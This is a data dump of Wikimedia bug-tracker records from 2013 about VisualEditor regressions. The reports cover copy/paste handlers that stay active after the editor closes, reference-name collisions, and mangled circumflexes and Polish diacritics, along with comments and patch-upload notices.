https://gerrit.wikimedia.org/r/85784",,,1379977609,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-m5xhygyqlxkvxhsdd6xe,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.666666666666667,1.0,"Change 85784 had a related patch set uploaded by Catrope:
Only listen for copy/paste on documentNode and pasteTarget

GERRIT_URL"
250011,"VisualEditor: [Regression] Copy/paste handlers intercept non-surface copy/paste events, even after VE is closed","Change 85783 had a related patch set uploaded by Catrope:
Only listen for copy/paste on documentNode and pasteTarget

https://gerrit.wikimedia.org/r/85783",,,1379977566,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-m5xhygyqlxkvxhsdd6xe,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.666666666666667,1.0,"Change 85783 had a related patch set uploaded by Catrope:
Only listen for copy/paste on documentNode and pasteTarget

GERRIT_URL"
250007,"VisualEditor: [Regression] Copy/paste handlers intercept non-surface copy/paste events, even after VE is closed","Change 85204 merged by jenkins-bot:
Only listen for copy/paste on documentNode and pasteTarget

https://gerrit.wikimedia.org/r/85204",,,1379702067,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-m5xhygyqlxkvxhsdd6xe,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.523809523809524,1.0,"Change 85204 merged by jenkins-bot:
Only listen for copy/paste on documentNode and pasteTarget

GERRIT_URL"
250004,"VisualEditor: [Regression] Copy/paste handlers intercept non-surface copy/paste events, even after VE is closed","Change 85204 had a related patch set uploaded by Esanders:
Only listen for copy/paste on documentNode and pasteTarget

https://gerrit.wikimedia.org/r/85204",,,1379684992,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-m5xhygyqlxkvxhsdd6xe,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.708333333333333,1.0,"Change 85204 had a related patch set uploaded by Esanders:
Only listen for copy/paste on documentNode and pasteTarget

GERRIT_URL"
250001,"VisualEditor: [Regression] Copy/paste handlers intercept non-surface copy/paste events, even after VE is closed","Marking as a regression as this is new behaviour in the latest release (version ""false"")",,,1379683942,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-m5xhygyqlxkvxhsdd6xe,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,16.0,5.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,5.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,0.0,3.8947368421052633,0.8947368421052632,"Marking as a regression as this is new behaviour in the latest release (version ""false"")"
249997,"VisualEditor: [Regression] Copy/paste handlers intercept non-surface copy/paste events, even after VE is closed","Pasting from an external source into the edit summary box works fine for me. 

However, once a page has been loaded in VE you cannot copy any text on that page until you reload - even after you have closed VE.

To reproduce:
1. Load any page in VisualEditor.
2. Do any of
 i. Press the browser back button to exit VE
 ii. Cancel the edit
 iii. make an edit and then save the page
3. Select any text anywhere on the page and copy it to the clipboard
4. Try to paste that text anywhere (search box, URL bar, text editor, etc)

Expected behaviour: Selected text is copied and pasted
Actual behaviour: Selected text is not copied and pasted",,,1379683839,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-m5xhygyqlxkvxhsdd6xe,task_subcomment,,True,c1,3,False,,,11,,2.0,0.0,0.0,2.0,1.0,1.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,5.5,7.5,0.0,1.5,0.0,0.0,0.0,0.5,1.5,0.0,0.0,0.5,0.0,0.0,3.5,0.5,0.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.5,2.0,10.5,0.0,2.5,8.5,0.0,0.0,0.0,0.0,6.5,0.0,1.5,0.0,2.5,7.5,5.5,0.0,0.0,0.0,2.5,0.0,0.0,1.5,0.5,0.5,0.0,0.0,1.5,3.513333333333333,0.7066666666666667,"Pasting from an external source into the edit summary box works fine for me. 

However, once a page has been loaded in VE you cannot copy any text on that page until you reload - even after you have closed VE.

To reproduce:
1. Load any page in VisualEditor.
2. Do any of
 i. Press the browser back button to exit VE
 ii. Cancel the edit
 iii. make an edit and then save the page
3. Select any text anywhere on the page and copy it to the clipboard
4. Try to paste that text anywhere (search box, URL bar, text editor, etc)

Expected behaviour: Selected text is copied and pasted
Actual behaviour: Selected text is not copied and pasted"
56341,VisualEditor: [Regression] Unnamed references get their names corrupted,"https://en.wikipedia.org/w/index.php?title=Matt_Chandler_%28pastor%29&curid=37214846&diff=573675359&oldid=571858677

For some reason, multiple different unnamed references all get name="":3"" there.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=54445",Unbreak Now!,100.0,1379613840,1379977955.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-kfb3zo4zemxl5qzh25hm,task_description,resolved,True,c1,3,False,False,True,11,,5.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7045454545454546,0.5909090909090909,"URL

For some reason, multiple different unnamed references all get name="":3"" there.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
248008,VisualEditor: [Regression] Unnamed references get their names corrupted,*** Bug 54445 has been marked as a duplicate of this bug. ***,,,1380836921,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kfb3zo4zemxl5qzh25hm,task_subcomment,,True,c1,3,True,,,13,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 54445 has been marked as a duplicate of this bug. ***
247999,VisualEditor: [Regression] Unnamed references get their names corrupted,"James,
I think it can be confusing that the name and the number of a reference do not match, although the links work.
See https://en.wikipedia.org/w/index.php?title=User%3AElitre_%28WMF%29%2FSandbox&diff=575128343&oldid=575128003 (the reference #2 gets a ref name:3).",,,1380542637,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-kfb3zo4zemxl5qzh25hm,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,10.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,15.0,2.0,10.0,5.0,2.0,15.0,0.0,0.0,0.0,2.0,7.0,0.0,2.0,0.0,5.0,7.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.268292682926829,0.8048780487804879,"James,
I think it can be confusing that the name and the number of a reference do not match, although the links work.
See URL (the reference #2 gets a ref name:3)."
247992,VisualEditor: [Regression] Unnamed references get their names corrupted,*** Bug 54654 has been marked as a duplicate of this bug. ***,,,1380220185,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kfb3zo4zemxl5qzh25hm,task_subcomment,,True,c1,3,True,,,12,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 54654 has been marked as a duplicate of this bug. ***
247985,VisualEditor: [Regression] Unnamed references get their names corrupted,"Change 85781 merged by jenkins-bot:
Prevent naming collisions when generating unique reference names

https://gerrit.wikimedia.org/r/85781",,,1379977590,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kfb3zo4zemxl5qzh25hm,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,16.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,5.315789473684211,1.0,"Change 85781 merged by jenkins-bot:
Prevent naming collisions when generating unique reference names

GERRIT_URL"
247979,VisualEditor: [Regression] Unnamed references get their names corrupted,"Change 85780 merged by jenkins-bot:
Prevent naming collisions when generating unique reference names

https://gerrit.wikimedia.org/r/85780",,,1379977489,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kfb3zo4zemxl5qzh25hm,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,16.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,5.315789473684211,1.0,"Change 85780 merged by jenkins-bot:
Prevent naming collisions when generating unique reference names

GERRIT_URL"
247974,VisualEditor: [Regression] Unnamed references get their names corrupted,"Change 85781 had a related patch set uploaded by Catrope:
Prevent naming collisions when generating unique reference names

https://gerrit.wikimedia.org/r/85781",,,1379977417,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kfb3zo4zemxl5qzh25hm,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,18.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,5.363636363636363,1.0,"Change 85781 had a related patch set uploaded by Catrope:
Prevent naming collisions when generating unique reference names

GERRIT_URL"
247968,VisualEditor: [Regression] Unnamed references get their names corrupted,"Change 85780 had a related patch set uploaded by Catrope:
Prevent naming collisions when generating unique reference names

https://gerrit.wikimedia.org/r/85780",,,1379977381,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kfb3zo4zemxl5qzh25hm,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,18.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,5.363636363636363,1.0,"Change 85780 had a related patch set uploaded by Catrope:
Prevent naming collisions when generating unique reference names

GERRIT_URL"
247964,VisualEditor: [Regression] Unnamed references get their names corrupted,"Change 85144 merged by jenkins-bot:
Prevent naming collisions when generating unique reference names

https://gerrit.wikimedia.org/r/85144",,,1379680077,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kfb3zo4zemxl5qzh25hm,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,16.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,5.315789473684211,1.0,"Change 85144 merged by jenkins-bot:
Prevent naming collisions when generating unique reference names

GERRIT_URL"
247961,VisualEditor: [Regression] Unnamed references get their names corrupted,"Change 85144 had a related patch set uploaded by Catrope:
Failing test for <ref name="":3""> bug

https://gerrit.wikimedia.org/r/85144",,,1379634802,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kfb3zo4zemxl5qzh25hm,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,4.0,1.0,"Change 85144 had a related patch set uploaded by Catrope:
Failing test for <ref name="":3""> bug

GERRIT_URL"
247957,VisualEditor: [Regression] Unnamed references get their names corrupted,"Isolated test case: https://en.wikipedia.org/wiki/User:Ed_g2s/Sandbox4

Diagnosis:

The automatically generated names are based on the number of distinct references in the page up to that point, indexed at zero. The first unnamed <ref> tag is the 4th distinct reference on the page (it's preceded by two :1s, a :3 and a :0), so its autogenerated name is :3. However, there so happens to already be a literal <ref name="":3""> on the page, so we get a naming collision and the whole thing goes to hell.

In practice, this situation can only arise after multiple iterations of duplicating unnamed references with VE (which adds <ref name="":n""> tags to the source), then removing or reordering references so the ref tags are aligned exactly right for this bug to occur.",,,1379625242,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-kfb3zo4zemxl5qzh25hm,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,1.0,0.0,7.0,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.5,0.5,0.5,1.5,5.5,11.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,5.0,0.0,1.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,8.0,3.0,4.5,0.5,2.0,10.5,0.0,0.0,0.0,0.0,2.0,0.0,2.5,0.0,2.5,11.0,2.5,0.0,1.5,0.0,2.5,0.0,0.5,2.5,0.0,2.0,0.0,0.0,3.5,3.8461538461538463,0.7613220113220114,"Isolated test case: URL

Diagnosis:

The automatically generated names are based on the number of distinct references in the page up to that point, indexed at zero. The first unnamed <ref> tag is the 4th distinct reference on the page (it's preceded by two :1s, a :3 and a :0), so its autogenerated name is :3. However, there so happens to already be a literal <ref name="":3""> on the page, so we get a naming collision and the whole thing goes to hell.

In practice, this situation can only arise after multiple iterations of duplicating unnamed references with VE (which adds <ref name="":n""> tags to the source), then removing or reordering references so the ref tags are aligned exactly right for this bug to occur."
56047,VisualEditor: Corruption with circumflexes,"VisualEditor seems to take particular pleasure in abusing circumflexes.

Issue 1: VE duplicates the first character entered after a circumflexed letter at the end of a line.

* Steps to reproduce: In VE, enter the text êtt (actually enter the characters individually, don't copy/paste) at the end of a line.
* Expected result: ""êtt"" is entered.
* Actual result: ""êtt<newline>t"" is entered.

Issue 2: At the beginning of a line, VE turns a circumflexed letter into a pawn character when removing text entered after the circumflexed letter.

* Steps to reproduce: In VE, enter the text êtt at the beginning of a line, then delete the last 't'.
* Expected result: ""êt""
* Actual result: ""♙t""

There's also some wonky behavior when dealing with circumflexed letters in the middle of a line, but I'm assuming that the descriptions above will be enough to help you investigate VE's blatant circumflexphobia.

--------------------------
**Version**: unspecified
**Severity**: normal",Unbreak Now!,100.0,1378943700,1378959962.0,PHID-USER-z6nzrwuaij3spgyg23jt,False,,False,PHID-TASK-mb4drpsu5auacyiu42kp,task_description,resolved,True,c1,3,False,False,True,10,,0.3333333333333333,0.0,0.0,0.6666666666666666,0.3333333333333333,4.0,0.3333333333333333,0.0,0.0,0.0,1.6666666666666667,1.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,3.0,8.0,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,3.0,1.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,1.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,13.333333333333334,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,7.0,1.0,8.0,1.3333333333333333,0.3333333333333333,7.333333333333333,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,1.0,8.0,4.666666666666667,0.0,3.6666666666666665,0.0,1.0,0.0,0.6666666666666666,2.6666666666666665,0.0,1.6666666666666667,0.0,0.0,0.6666666666666666,3.77027027027027,0.6698753548068618,"VisualEditor seems to take particular pleasure in abusing circumflexes.

Issue 1: VE duplicates the first character entered after a circumflexed letter at the end of a line.

* Steps to reproduce: In VE, enter the text êtt (actually enter the characters individually, don't copy/paste) at the end of a line.
* Expected result: ""êtt"" is entered.
* Actual result: ""êtt<newline>t"" is entered.

Issue 2: At the beginning of a line, VE turns a circumflexed letter into a pawn character when removing text entered after the circumflexed letter.

* Steps to reproduce: In VE, enter the text êtt at the beginning of a line, then delete the last 't'.
* Expected result: ""êt""
* Actual result: ""♙t""

There's also some wonky behavior when dealing with circumflexed letters in the middle of a line, but I'm assuming that the descriptions above will be enough to help you investigate VE's blatant circumflexphobia.

--------------------------
**Version**: unspecified
**Severity**: normal"
254900,VisualEditor: Corruption with circumflexes,"Marking as a duplicate of bug 53680 which I believe is indeed the issue.

*** This bug has been marked as a duplicate of bug 53680 ***",,,1378959962,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mb4drpsu5auacyiu42kp,task_subcomment,,True,c1,3,True,,,10,,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,9.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,6.0,0.0,3.0,0.0,0.0,0.0,3.303030303030303,0.6363636363636364,"Marking as a duplicate of bug 53680 which I believe is indeed the issue.

*** This bug has been marked as a duplicate of bug 53680 ***"
254898,VisualEditor: Corruption with circumflexes,"This is a dupe of bug 53747, bug 53680 or both.",,,1378945993,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-mb4drpsu5auacyiu42kp,task_subcomment,,True,c1,3,True,,,10,,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,8.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,2.8461538461538463,0.9230769230769231,"This is a dupe of bug 53747, bug 53680 or both."
254894,VisualEditor: Corruption with circumflexes,"Also, circumflexes that are entered in VE are completely stripped on save. Instead, characters are jumping around to its location.",,,1378944232,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-mb4drpsu5auacyiu42kp,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.625,0.8333333333333334,"Also, circumflexes that are entered in VE are completely stripped on save. Instead, characters are jumping around to its location."
55747,VisualEditor breaks when Polish-language diacritics (ążśźęćńół) are input,"Since approx. August 30-31 VisualEditor breaks when Polish-language diacritics (ążśźęćń󳥯ŚŹĘĆŃÓŁ) are input. The characters themselves disappear and text around them gets mangled and moved around.

They're all input using AltGr (right Alt) + diacritic-less version of the characters, with the exception of ""x"" mapping to ""ź"" (so, respectively, azsxecnol).

I have been unable to replicate the issue myself, but it's definitely happening.

pl.wp thread: https://pl.wikipedia.org/wiki/Wikipedia:Kawiarenka/Kwestie_techniczne#VisualEditor_a_polskie_diakrytyki

This is repeatedly breaking page text on the Polish Wikipedia, so I'm marking the bug ""highest critical"".

--------------------------
**Version**: unspecified
**Severity**: critical
**URL**: https://pl.wikipedia.org/wiki/Wikipedia:Kawiarenka/Kwestie_techniczne#VisualEditor_a_polskie_diakrytyki
**See Also**:
